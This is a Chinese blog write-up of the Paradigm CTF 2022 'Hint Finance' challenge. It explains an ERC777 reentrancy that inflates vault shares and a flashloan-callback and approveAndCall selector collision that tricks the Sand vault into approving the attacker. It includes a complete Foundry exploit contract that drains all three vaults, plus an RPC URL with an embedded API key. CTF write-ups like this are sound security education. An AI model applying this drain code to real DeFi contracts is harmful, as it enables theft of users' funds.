Loading [MathJax]/jax/input/TeX/jax.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >paradigm ctf 2022 - Hint finance

paradigm ctf 2022 - Hint finance

作者头像
Tiny熊
发布于 2022-11-07 03:02:18
发布于 2022-11-07 03:02:18
1.5K00
代码可运行
举报
运行总次数:0
代码可运行

本文作者:bixia1994[1]

Hint finance

题目要求

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function isSolved() public view returns (bool) {
        for (uint256 i = 0; i < underlyingTokens.length; ++i) {
            address vault = hintFinanceFactory.underlyingToVault(underlyingTokens[i]);
            uint256 vaultUnderlyingBalance = ERC20Like(underlyingTokens[i]).balanceOf(vault);
            if (vaultUnderlyingBalance > initialUnderlyingBalances[i] / 100) {
                return false;
            }
        }
        return true;
    }

题目分析

这是一个主网的 fork,三个 underlying token 分别是:PNT,SAND,AMP;其中,PNT 和 AMP 都是 777 token,在 transfer 之前和之后都有 callback 回掉。而 SAND token 是一个 ERC20 Token。可以访问这个链接[2]查看具体的 777 标准。简单概括,该标准要求 ERC777 token 的发送方和接受方要到 EIP-1820 这个地址上进行注册,注册时,需要调用setInterfaceImplementer方法,传入需要注册的 key 和 address;

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
EIP1820Like(EIP1820).setInterfaceImplementer(
            address(this), keccak256("AmpTokensRecipient"), address(this)
);
EIP1820Like(EIP1820).setInterfaceImplementer(
    address(this), keccak256("ERC777TokensRecipient"), address(this)
);

ERC777 token 会在 transfer 里面,分别去判断一下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function transferFrom(address holder, address recipient, uint256 amount) public virtual override returns (bool) {
        require(recipient != address(0), "ERC777: transfer to the zero address");
        require(holder != address(0), "ERC777: transfer from the zero address");

        address spender = _msgSender();

        _callTokensToSend(spender, holder, recipient, amount, "", "");

        _move(spender, holder, recipient, amount, "", "");
        _approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));

        _callTokensReceived(spender, holder, recipient, amount, "", "", false);

        return true;
    }

其中的_callTokensToSend就是 from 地址的 callback,_callTokensReceived就是 to 地址的 callback;

针对 ERC777 token 的解题思路

因为 777 token 有 callback,而观察depositwithdraw函数都没有nonReentrant这一个限制,所以最先想到的是通过重入的方式来做尝试。然后,进一步分析 withdraw 函数,可以看到其并不符合check-effect-intreact模式,在 token 的转账这一个外部调用之后,还有账本的更改。所以我们可以利用这一点,即在转账过程中,账本保持原样,这里是 totalSupply 这个值还是原始值。然后重入到 deposit 函数中,可以看到 share 的计算中,其计算公式如下:

share=amount×totalSupplybalance

由于已经发生了 tranfer,balance 会降低,然后 totalSupply 此时还没有更新,所以 totalSupply 保持不变。从而是的我们的 share 会比正常情况下,大很多倍。当重入到 deposit 中的大很多的 share 后,在回到 withdraw 里继续执行,扣除一小部分 share,这样我们通过这次重入可以拿到整个 vault 的绝大部分 share。此时,我们可以再次调用 withdraw 函数,走正常的函数调用逻辑,不重入,取出所有的 share 对应的 token,这样就满足题意。如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function start2() public {
    uint256 share = HintFinanceVault(vault).totalSupply();
    emit log_named_uint("init share", share);
    prevAmount = (share - 1);
    HintFinanceVault(vault).withdraw(share - 1);
    HintFinanceVault(vault).withdraw(HintFinanceVault(vault).balanceOf(address(this)));
    emit log_named_uint("token left", ERC20Like(token).balanceOf(address(vault)));
}

针对 Sand token 的解题思路

Sand token 是一个普通的 ERC20 合约,故其无法通过类似于 777 的 callback 来完成 hack,需要进一步查看 sand token 的合约逻辑。从 Sand 的合约中,我们注意到这样的一个函数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function approveAndCall(
        address target,
        uint256 amount,
        bytes calldata data
    ) external payable returns (bytes memory) {
        require(
            BytesUtil.doFirstParamEqualsAddress(data, msg.sender),
            "first param != sender"
        );

        _approveFor(msg.sender, target, amount);

        // solium-disable-next-line security/no-call-value
        (bool success, bytes memory returnData) = target.call.value(msg.value)(data);
        require(success, string(returnData));
        return returnData;
    }

这个函数不是 EIP20 的标准函数。另外我们在 Vault 合约里,也注意到一个 flashloan 函数,该 flashloan 函数同样也没有nonReentrant,并且该 flashloan 的一个 callback 函数是:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function onHintFinanceFlashloan(
        address token,
        address factory,
        uint256 amount,
        bool isUnderlyingOrReward,
        bytes memory data
    ) external;

针对 ERC20,有一种常见的攻击模式,即想办法使得 token 的 owner 给 hacker 进行 approve 操作,通常这是一种钓鱼手法,但是在很多支持 flashloan 的合约中,可以让合约来给我进行 approve。这样就可以在满足 flashloan 的前提下,即不直接拿走 vault 的 token,但是让其对 hacker 进行 approve 了。所以这里的思路是,如何让 vault 合约作为 msg.sender,调用 token 合约的 approve 方法。可以利用 flashloan 的 callback 来实现,但是该 callback 的函数方法写死了,是onHintFinanceFlashloan,并不是一个可以任意传的值,即不是address(caller).call(data)但是同时注意到,函数onHintFinanceFlashloan和函数approveAndCall有着相同的函数签名,那么就可以利用这种方式。但是在具体的编写过程中,需要注意到如何正确的对 calldata 进行编码:

针对 calldata 进行编码时,要由外到内,首先编码出 approveAndCall 中传入的 data,这个 data 是调用 flashloan 的 calldata,即 data 要满足lashloan(address token, uint256 amount, bytes calldata data)这个函数;则,data = abi.encodeWithSelector(HintFinanceVault.flashloan.selector, address(this), amount, innerData)然后,在来查看 innerData 的编码方式,他需要同时满足onHintFinanceFlashloanapproveAndCall两个函数;将两个函数的参数对齐如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
address target          address token                       0x20
uint256 amountLeft      address factory                     0x40
0xa0                    uint256 amountRight                 0x60
0                       bool isUnderlying                   0x80
bytes memory innerdata  bytes memory data                   0xa0

所以根据 approveAndCall 的执行逻辑,即 innerdata 的第一个参数是 msg.sender. 因为这里是 Vault 调用的 approveAndCall,所以第一个参数应该是 address(vault)。第二个参数是由 flashlaon 合约指定的,为 address(factory), 即:target = vault, amountLeft = uint256(factory) 这里需要明确 innerdata 的占位符,即 amountRight 的值, 这里为保证符合approveAndCall的要求,即第三个参数是一个 bytes memory。另外需要注意到,calldata 的 length 也必须要合法,上面的 len 应该是: 0x20 * 5 + len(balanceOf), 所以需要额外在 balanceOf 里面,加上 0;注意到这里的 innerdata,会在 approveAndCall 里再次调用,所以 innerdata 必须是一个合法的 calldata.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    function start3() public {
        uint256 amount = 0xa0;
        bytes memory innerData =
            abi.encodeWithSelector(ERC20Like.balanceOf.selector, address(vault), 0);
        bytes memory data = abi.encodeWithSelector(
            HintFinanceVault.flashloan.selector, address(this), amount, innerData
        );
        SandLike(token).approveAndCall(vault, amount, data);
        ERC20Like(token).transferFrom(vault, address(this), ERC20Like(token).balanceOf(vault));
        emit log_named_uint("token left 3", ERC20Like(token).balanceOf(address(vault)));
    }

POC

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity 0.8.16;

import "ds-test/test.sol";
import "forge-std/stdlib.sol";
import "forge-std/Vm.sol";

contract Addrs is DSTest, stdCheats {
    address[3] public underlyingTokens = [
        0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD,
        ///PNT 777
        0x3845badAde8e6dFF049820680d1F14bD3903a5d0,
        ///SAND
        0xfF20817765cB7f73d4bde2e66e067E58D11095C2
        ///AMP 777
    ];
    address public EIP1820 = 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24;
}

interface EIP1820Like {
    function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer)
        external;
}

interface SandLike {
    function approveAndCall(address target, uint256 amount, bytes calldata data) external;
}

contract Hack is Addrs {
    HintFinanceFactory public hintFinanceFactory;
    address[3] public vaults;
    uint256 public prevAmount;
    address public vault;
    address public token;

    constructor(HintFinanceFactory _hintFinanceFactory) {
        hintFinanceFactory = _hintFinanceFactory;
        for (uint256 i = 0; i < 3; i++) {
            vaults[i] = hintFinanceFactory.underlyingToVault(underlyingTokens[i]);
            ERC20Like(underlyingTokens[i]).approve(vaults[i], type(uint256).max);
        }

        EIP1820Like(EIP1820).setInterfaceImplementer(
            address(this), keccak256("AmpTokensRecipient"), address(this)
        );
        EIP1820Like(EIP1820).setInterfaceImplementer(
            address(this), keccak256("ERC777TokensRecipient"), address(this)
        );
    }

    function start() public {
        vault = vaults[0];
        token = underlyingTokens[0];
        start2();
        vault = vaults[2];
        token = underlyingTokens[2];
        start2();
        vault = vaults[1];
        token = underlyingTokens[1];
        start3();
    }

    function start3() public {
        uint256 amount = 0xa0;
        bytes memory innerData =
            abi.encodeWithSelector(ERC20Like.balanceOf.selector, address(vault), 0);
        bytes memory data = abi.encodeWithSelector(
            HintFinanceVault.flashloan.selector, address(this), amount, innerData
        );
        SandLike(token).approveAndCall(vault, amount, data);
        ERC20Like(token).transferFrom(vault, address(this), ERC20Like(token).balanceOf(vault));
        emit log_named_uint("token left 3", ERC20Like(token).balanceOf(address(vault)));
    }

    function transfer(address, uint256) external returns (bool) {
        return true;
    }

    function balanceOf(address) external view returns (uint256) {
        return 1 ether;
    }

    function start2() public {
        uint256 share = HintFinanceVault(vault).totalSupply();
        emit log_named_uint("init share", share);
        prevAmount = (share - 1);
        HintFinanceVault(vault).withdraw(share - 1);
        HintFinanceVault(vault).withdraw(HintFinanceVault(vault).balanceOf(address(this)));
        emit log_named_uint("token left", ERC20Like(token).balanceOf(address(vault)));
    }

    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    )
        external
    {
        if (amount == prevAmount) {
            emit log_named_uint("amount", amount);
            uint256 share = HintFinanceVault(vault).deposit(amount / 2);
            emit log_named_uint("share", share);
        }
    }

    function tokensReceived(
        bytes4 functionSig,
        bytes32 partition,
        address operator,
        address from,
        address to,
        uint256 value,
        bytes calldata data,
        bytes calldata operatorData
    )
        external
    {
        if (value == prevAmount) {
            emit log_named_uint("amount", value);
            uint256 share = HintFinanceVault(vault).deposit(value / 2);
            emit log_named_uint("share", share);
        }
    }

    function tokensToSend(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    )
        external
    {}
}

import "./public/contracts/Setup.sol";

contract POC is Addrs {
    Hack public hack;
    Vm public vm = Vm(HEVM_ADDRESS);
    Setup public setUpInstance;
    HintFinanceFactory public hintFinanceFactory;

    function setUp() public {
        vm.createSelectFork(
            "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA", 15409399
        );
        setUpInstance = new Setup{value: 1000 ether}();
        hintFinanceFactory = setUpInstance.hintFinanceFactory();
        hack = new Hack(hintFinanceFactory);
    }

    function test_Start() public {
        hack.start();
    }

    function _test_Start2() public {
        hack.start2();
    }
}

参考资料

[1]

bixia1994: https://learnblockchain.cn/people/3295

[2]

这个链接: https://eips.ethereum.org/EIPS/eip-777

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-09-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 深入浅出区块链技术 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
ERC777 功能型代币(通证)最佳实践
想必很多同学都已经使用过ERC20 创建过代币[1],或许已经被老板要求在ERC20代币上实现一些附加功能搞的焦头烂额,如果还有选择,一定要选择 ERC777 。
Tiny熊
2019/09/30
1.4K0
ERC-777标准规范
在经典的ERC-20场景中,如果用户想要授权给第三方账户或者智能合约进行转账操作,那么需要通过两个事务来完成整个转账的操作,在这里需要注意的是在授权是需要指定对应的amount数量,那么当每次进行授权转账时都需要进行一次查询或者让A用户再次授权给B用户:
Al1ex
2021/07/21
1.2K0
ERC-777标准规范
在经典的ERC-20场景中,如果用户想要授权给第三方账户或者智能合约进行转账操作,那么需要通过两个事务来完成整个转账的操作,在这里需要注意的是在授权是需要指定对应的amount数量,那么当每次进行授权转账时都需要进行一次查询或者让A用户再次授权给B用户:
Al1ex
2021/07/16
1.7K0
ERC-777标准规范
BeansProtocol
https://etherscan.io/tx/0x68cdec0ac76454c3b0f7af0b8a3895db00adf6daaf3b50a99716858c4fa54c6f
Tiny熊
2022/05/25
3690
BeansProtocol
HACK Reply XCarnival
https://twitter.com/XCarnival_Lab/status/1541226298399653888
Tiny熊
2022/11/07
7230
HACK Reply XCarnival
BSC智能链挖矿dapp系统开发智能合约技术指南
币安智能链(Binance Smart Chain,简称 BSC )是一条以太坊虚拟机兼容,与币安链并行的区块链,是加密资产行业顶尖项目的测试和前沿探索。
开发v_hkkf5566
2022/10/25
1.4K0
ERC-777以太坊新代币标准解读
ERC777是一个新的高级代币标准,可以视为ERC20的升级版本,因此它解决了ERC20以及ERC223存在的一些问题,开发者可以根据自己的具体需求进行选型。
用户1408045
2019/10/23
1.3K0
ERC-777以太坊新代币标准解读
safeSendLp逻辑设计安全分析
上周五一位好朋友在做合约审计时遇到一个有趣的函数safeSendLp,之所以说该函数有趣是因为感觉该函数存在问题,却又觉得该函数业务逻辑正常,遂对其进行简单调试分析~
Al1ex
2021/07/21
7570
safeSendLp逻辑设计安全分析
DAPP智能合约质押借贷挖矿理财系统开发案例详情
智能合约已在各种区块链网络中得以实施,其中主要的依然是比特币和以太坊。虽然比特币网络以使用比特币执行交易闻名,它的协议也可以用来创建智能合约。
开发v_hkkf5566
2023/03/06
4990
UniswapV2协议解析
本篇文章主要对Uniswap V2协议的工作原理、项目构成、源码实现等部分进行详细解读。
Al1ex
2021/07/21
3.7K2
UniswapV2协议解析
gymdefi hack
https://bscscan.com/address/0x1befe6f3f0e8edd2d4d15cae97baee01e51ea4a4#code https://versatile.blocksecteam.com/tx/bsc/0xa5b0246f2f8d238bb56c0ddb500b04bbe0c30db650e06a41e00b6a0fff11a7e5 https://twitter.com/BlockSecTeam/status/1512832398643265537
Tiny熊
2022/05/25
8640
Xn00d被攻击事件分析
ERC777 是 ERC20 标准的高级代币标准,要提供了一些新的功能:运营商及钩子。
Tiny熊
2023/01/09
8740
Xn00d被攻击事件分析
快速学习-ERC20 代币合约
ERC20 代币合约 pragma solidity ^ 0.4 .16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string pub
cwl_java
2020/04/16
7000
第八课 如何调试以太坊官网的智能合约众筹案例
【本文目标】 发布并执行通ETH官网的众筹合约代码。 【前置条件】 参考《第七课 技术小白如何在45分钟内发行通证(TOKEN)并上线交易》完成了ColorBay的发行。 【技术收获】 1). 调试成功以太坊官网的智能合约众筹代码 2). REMIX和myetherwallet配合的智能合约代码调试
辉哥
2018/08/10
1.8K0
第八课 如何调试以太坊官网的智能合约众筹案例
技术分析 Lendf.me 被攻击,ERC777到底该不该用?
我在去年 9 月写过一篇ERC科普文章:ERC777 功能型代币(通证)最佳实践[1] ,文章里我推荐新开发的代币使用 ERC777 标准。
Tiny熊
2020/04/21
9570
技术分析  Lendf.me 被攻击,ERC777到底该不该用?
ERC-20标准规范
ERC-20为以太坊智能合约提供了一套编写规范,而IERC-20则规定了一个Token需要实现的基本接口,本篇文章将对此进行解读。
Al1ex
2021/03/23
2.5K0
ERC-20标准规范
第七课 技术小白如何在45分钟内发行通证(TOKEN)并上线交易
通过逐步的指导和截图举证,一步步带领一个技术小白完成一个数字货币(通证,代币,TOKEN)的发布演示和上线交易。
辉哥
2018/08/10
1.3K0
第七课 技术小白如何在45分钟内发行通证(TOKEN)并上线交易
SushiSwap协议分析
SushiSwap是一个分叉自Uniswap的去中心化交易协议,它在交易模式上延续了Uniswap的核心设计——AMM(自动做市商)模型,但与Uniswap不同之处在于SushiSwap增加了经济奖励模型,SushiSwap交易手续费为0.3%,其中0.25%直接分给发给流动性提供,0.05%买成SUSHI并分配给Sushi代币持有者(Uniswap是通过开关模式决定是否将0.05%的手续费给开发者团队),Sushi在每次分发时会预留10%给项目未来开发迭代及安全审计等。
Al1ex
2021/07/21
2.3K0
SushiSwap协议分析
《纸上谈兵·solidity》第 22 课:代币合约(ERC20)从零实现与扩展
在本课中,我们将从零开始实现一个 最小可用的 ERC20 代币合约,并逐步扩展功能,包括铸造(mint)、销毁(burn)、权限控制(owner / onlyOwner)。
孟斯特
2025/08/28
1510
《纸上谈兵·solidity》第 22 课:代币合约(ERC20)从零实现与扩展
ERC-1155标准规范
本篇文章将对ERC-1155标准规范进行简单介绍,在介绍之前我们先来看一下之前的ERC-20、ERC-721、ERC-777都解决了什么问题,主要应用与那些场景:
Al1ex
2021/07/16
5.1K2
ERC-1155标准规范
相关推荐
ERC777 功能型代币(通证)最佳实践
更多 >
领券
一站式MCP教程库,解锁AI应用新玩法
涵盖代码开发、场景应用、自动测试全流程,助你从零构建专属AI助手
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验